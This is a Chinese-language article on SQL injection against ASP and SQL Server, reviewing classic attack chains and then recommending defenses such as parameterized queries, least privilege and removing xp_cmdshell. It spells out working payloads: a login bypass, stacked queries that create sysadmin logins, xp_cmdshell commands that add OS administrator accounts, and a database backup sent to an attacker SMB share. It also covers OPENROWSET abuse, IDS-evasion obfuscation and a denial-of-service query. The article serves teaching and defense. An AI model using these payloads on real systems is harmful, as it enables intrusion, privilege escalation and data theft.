SQL 注入 (SQL Injection) 並非資料庫漏洞,而是應用程式輸入驗證缺失導致的安全缺陷。早期 ASP + SQL Server 架構盛行,大量初級開發者直接拼接字串構建 SQL,教學範例亦常帶有漏洞。儘管參數化查詢、ORM、WAF 普及,但舊系統存量、新手錯誤、第三方元件漏洞使其持續佔據 OWASP Top 10 榜首。本文復盤經典攻擊鏈,剖析原理,給出系統性防禦策略。
' OR '1'='1-- 原始查詢
SELECT * FROM Users WHERE Username = 'input_user' AND Password = 'input_pwd';
-- 攻擊輸入
Username: admin' --
Password: [任意]
-- 實際執行
SELECT * FROM Users WHERE Username = 'admin' --' AND Password = '...';
-- 註解掉密碼檢查,直接以 admin 身分登入
前提:應用使用 sa 或 sysadmin 權限連線 (虛擬主機通常不滿足)。
-- 添加登入
news.asp?id=1; EXEC master.dbo.sp_addlogin 'hax','hax';--
-- 修改密碼
news.asp?id=1; EXEC master.dbo.sp_password NULL,'hax','hax';--
-- 加入 sysadmin 角色
news.asp?id=1; EXEC master.dbo.sp_addsrvrolemember 'hax','sysadmin';--
-- 執行作業系統命令 (關鍵跳板)
news.asp?id=1; EXEC master.dbo.xp_cmdshell 'net user hax hax /add';--
news.asp?id=1; EXEC master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
關鍵技巧:-- 註解掉後續 SQL 片段,避免語法錯誤;; 批次分隔符執行多條陳述式。
若應用使用普通資料庫使用者 (通常為 db_owner):
-- 取得當前資料庫名
DECLARE @db SYSNAME; SET @db = DB_NAME();
-- 備份資料庫到攻擊者共享資料夾 (需網路連通)
BACKUP DATABASE @db TO DISK = '\\attacker_ip\share\bak.dat';--
-- 偵測 SQL Server 真實 IP (繞過 Web/DB 分離架構)
EXEC master.dbo.xp_cmdshell 'ping attacker_ip';-- (需 sysadmin)
-- 非 sysadmin 替代方案
DECLARE @db SYSNAME; SET @db = DB_NAME();
BACKUP DATABASE @db TO DISK = '\\attacker_ip\share\bak.dat';-- (觸發 SMB 連線,防火牆日誌可見 DB IP)
| 技術 | 原理 | 範例 |
|---|---|---|
OPENROWSET 遠端執行 | 利用連結伺服器機制在目標執行命令 | SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd','SET FMTONLY OFF EXEC master..xp_cmdshell ''dir''') |
OPENROWSET 竊取回傳值 | 配合 SELECT 'OK' 滿足 FMTONLY OFF 需求 | SELECT * FROM OPENROWSET(...,'SELECT ''OK'' EXEC sp_addlogin ''hax''') |
| 本地連結映射後門 | 建立受信連結映射,後續低權限帳號亦可觸發 | SELECT * FROM OPENROWSET('SQLOLEDB','TRUSTED_CONNECTION=YES;DATASOURCE=Hectic','...') |
MSDASQL 雙查詢 DoS | 特定驅動程式缺陷導致伺服器掛起 | SELECT * FROM OPENROWSET('MSDASQL',...,'SELECT * FROM t1 SELECT * FROM t2') (欄位數不同時觸發) |
| 關鍵字混淆繞過 IDS/IPS | 字串拼接、系統表查詢 ID、/**/ 替代空格 | DECLARE @x VARCHAR(20); SET @x='xp_'+'cmdshell'; EXEC @x 'dir';SELECT name FROM sysobjects WHERE id=988456; EXEC @name 'dir'; |
| 攻擊 IDS 資料庫本身 | IDS 記錄寫入 SQL Server 時同樣面臨注入 | INSERT INTO log VALUES ('...')/**/EXEC/**/xp_cmdshell/**/'dir'/**/-- |
-- ❌ 錯誤:字串拼接
cmd.CommandText = "SELECT * FROM News WHERE Id = " + Request["id"];
-- ✅ 正確:參數化
cmd.CommandText = "SELECT * FROM News WHERE Id = @Id";
cmd.Parameters.AddWithValue("@Id", Request["id"]);
SqlParameterCommand.ParametersPDO::prepare() / mysqli_prepare()PreparedStatementSELECT/INSERT/UPDATE/DELETE 於特定 Schema/Table。EXEC sp_dropextendedproc 'xp_cmdshell';
EXEC sp_dropextendedproc 'xp_regread'; -- 等註冊表相關
-- 需時可恢復: EXEC sp_addextendedproc 'xp_cmdshell','xplog70.dll';
SQL 注入本質是「資料與代碼未分離」。參數化查詢從語法層面徹底切斷攻擊路徑;最小權限、擴展程序清理、網路隔離、稽核監控構建多層防線。安全非一次性配置,而是持續的「開發-部署-運行」全生命週期工程。對既有舊系統,優先修補高風險入口,建立 WAF 虛擬補丁,規劃重構路線圖,方能從根本消除隱患。